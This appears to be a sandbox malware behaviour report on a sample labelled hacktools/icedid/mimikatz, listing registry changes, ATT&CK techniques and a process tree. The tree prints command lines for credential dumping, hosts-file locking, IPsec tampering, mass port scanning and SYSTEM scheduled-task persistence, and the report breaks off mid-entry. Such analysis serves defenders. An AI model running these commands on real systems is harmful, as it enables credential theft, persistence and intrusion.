Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysesbhsym.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lebulsi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	varpws.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lebulsi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3552	cmd.exe
4260	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023c96-6.dat	nsis_installer_2
behavioral2/files/0x0007000000023c9f-15.dat	nsis_installer_1
behavioral2/files/0x0007000000023c9f-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	lebulsi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	lebulsi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	lebulsi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	lebulsi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	lebulsi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	lebulsi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sadefbibf.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sadefbibf.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	lebulsi.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4260	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3956	schtasks.exe
1740	schtasks.exe
2496	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2648	2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2648	2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	436	lebulsi.exe
Token: SeDebugPrivilege	3232	lebulsi.exe
Token: SeDebugPrivilege	4552	vfshost.exe
Token: SeDebugPrivilege	3888	sadefbibf.exe
Token: SeLockMemoryPrivilege	3996	uuetgf.exe
Token: SeLockMemoryPrivilege	3996	uuetgf.exe
Token: SeDebugPrivilege	3112	sadefbibf.exe
Token: SeDebugPrivilege	3808	sadefbibf.exe
Token: SeDebugPrivilege	2696	sadefbibf.exe
Token: SeDebugPrivilege	4672	sadefbibf.exe
Token: SeDebugPrivilege	2424	sadefbibf.exe
Token: SeDebugPrivilege	4836	sadefbibf.exe
Token: SeDebugPrivilege	4988	sadefbibf.exe
Token: SeDebugPrivilege	1040	sadefbibf.exe
Token: SeDebugPrivilege	3436	sadefbibf.exe
Token: SeDebugPrivilege	2448	sadefbibf.exe
Token: SeDebugPrivilege	3952	sadefbibf.exe
Token: SeDebugPrivilege	2700	sadefbibf.exe
Token: SeDebugPrivilege	3080	sadefbibf.exe
Token: SeDebugPrivilege	1168	sadefbibf.exe
Token: SeDebugPrivilege	2968	sadefbibf.exe
Token: SeDebugPrivilege	4376	sadefbibf.exe
Token: SeDebugPrivilege	4672	sadefbibf.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2648	2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe
2648	2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe
436	lebulsi.exe
436	lebulsi.exe
3232	lebulsi.exe
3232	lebulsi.exe
2312	xohudmc.exe
1676	varpws.exe
1488	lebulsi.exe
1488	lebulsi.exe
6096	lebulsi.exe
6096	lebulsi.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 3552	2648	2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe	82
PID 2648 wrote to memory of 3552	2648	2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe	82
PID 2648 wrote to memory of 3552	2648	2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe	82
PID 3552 wrote to memory of 4260	3552	cmd.exe	84
PID 3552 wrote to memory of 4260	3552	cmd.exe	84
PID 3552 wrote to memory of 4260	3552	cmd.exe	84
PID 3552 wrote to memory of 436	3552	cmd.exe	85
PID 3552 wrote to memory of 436	3552	cmd.exe	85
PID 3552 wrote to memory of 436	3552	cmd.exe	85
PID 3232 wrote to memory of 404	3232	lebulsi.exe	87
PID 3232 wrote to memory of 404	3232	lebulsi.exe	87
PID 3232 wrote to memory of 404	3232	lebulsi.exe	87
PID 404 wrote to memory of 1108	404	cmd.exe	89
PID 404 wrote to memory of 1108	404	cmd.exe	89
PID 404 wrote to memory of 1108	404	cmd.exe	89
PID 404 wrote to memory of 2340	404	cmd.exe	90
PID 404 wrote to memory of 2340	404	cmd.exe	90
PID 404 wrote to memory of 2340	404	cmd.exe	90
PID 404 wrote to memory of 1200	404	cmd.exe	91
PID 404 wrote to memory of 1200	404	cmd.exe	91
PID 404 wrote to memory of 1200	404	cmd.exe	91
PID 404 wrote to memory of 4808	404	cmd.exe	92
PID 404 wrote to memory of 4808	404	cmd.exe	92
PID 404 wrote to memory of 4808	404	cmd.exe	92
PID 404 wrote to memory of 2448	404	cmd.exe	93
PID 404 wrote to memory of 2448	404	cmd.exe	93
PID 404 wrote to memory of 2448	404	cmd.exe	93
PID 404 wrote to memory of 1136	404	cmd.exe	94
PID 404 wrote to memory of 1136	404	cmd.exe	94
PID 404 wrote to memory of 1136	404	cmd.exe	94
PID 3232 wrote to memory of 4252	3232	lebulsi.exe	95
PID 3232 wrote to memory of 4252	3232	lebulsi.exe	95
PID 3232 wrote to memory of 4252	3232	lebulsi.exe	95
PID 3232 wrote to memory of 1560	3232	lebulsi.exe	97
PID 3232 wrote to memory of 1560	3232	lebulsi.exe	97
PID 3232 wrote to memory of 1560	3232	lebulsi.exe	97
PID 3232 wrote to memory of 5076	3232	lebulsi.exe	99
PID 3232 wrote to memory of 5076	3232	lebulsi.exe	99
PID 3232 wrote to memory of 5076	3232	lebulsi.exe	99
PID 3232 wrote to memory of 1940	3232	lebulsi.exe	106
PID 3232 wrote to memory of 1940	3232	lebulsi.exe	106
PID 3232 wrote to memory of 1940	3232	lebulsi.exe	106
PID 1940 wrote to memory of 3080	1940	cmd.exe	108
PID 1940 wrote to memory of 3080	1940	cmd.exe	108
PID 1940 wrote to memory of 3080	1940	cmd.exe	108
PID 3080 wrote to memory of 3444	3080	wpcap.exe	109
PID 3080 wrote to memory of 3444	3080	wpcap.exe	109
PID 3080 wrote to memory of 3444	3080	wpcap.exe	109
PID 3444 wrote to memory of 4192	3444	net.exe	111
PID 3444 wrote to memory of 4192	3444	net.exe	111
PID 3444 wrote to memory of 4192	3444	net.exe	111
PID 3080 wrote to memory of 3376	3080	wpcap.exe	112
PID 3080 wrote to memory of 3376	3080	wpcap.exe	112
PID 3080 wrote to memory of 3376	3080	wpcap.exe	112
PID 3376 wrote to memory of 3516	3376	net.exe	114
PID 3376 wrote to memory of 3516	3376	net.exe	114
PID 3376 wrote to memory of 3516	3376	net.exe	114
PID 3080 wrote to memory of 4024	3080	wpcap.exe	115
PID 3080 wrote to memory of 4024	3080	wpcap.exe	115
PID 3080 wrote to memory of 4024	3080	wpcap.exe	115
PID 4024 wrote to memory of 3988	4024	net.exe	117
PID 4024 wrote to memory of 3988	4024	net.exe	117
PID 4024 wrote to memory of 3988	4024	net.exe	117
PID 3080 wrote to memory of 4076	3080	wpcap.exe	118

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2104
- C:\Windows\TEMP\eyuduassi\uuetgf.exe
  "C:\Windows\TEMP\eyuduassi\uuetgf.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3996

C:\Users\Admin\AppData\Local\Temp\2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\seumlgyb\lebulsi.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4260
- - C:\Windows\seumlgyb\lebulsi.exe
    C:\Windows\seumlgyb\lebulsi.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:436

C:\Windows\seumlgyb\lebulsi.exe
C:\Windows\seumlgyb\lebulsi.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1108
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1200
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2448
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:1136
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4252
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1560
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5076
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\zthyliniv\eftbbbiir\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\zthyliniv\eftbbbiir\wpcap.exe
    C:\Windows\zthyliniv\eftbbbiir\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3080
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3444
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:4192
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3376
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3516
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4024
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:3988
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4076
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5008
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2068
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4200
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1884
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:1100
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:4388
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3316
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\zthyliniv\eftbbbiir\bdltnuisb.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\zthyliniv\eftbbbiir\Scant.txt
  2⤵
  PID:3640
- - C:\Windows\zthyliniv\eftbbbiir\bdltnuisb.exe
    C:\Windows\zthyliniv\eftbbbiir\bdltnuisb.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\zthyliniv\eftbbbiir\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4288
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\zthyliniv\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\zthyliniv\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:1644
- - C:\Windows\zthyliniv\Corporate\vfshost.exe
    C:\Windows\zthyliniv\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "heumqybsu" /ru system /tr "cmd /c C:\Windows\ime\lebulsi.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1544
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2436
- - C:\Windows\SysWOW64\schtasks.exe
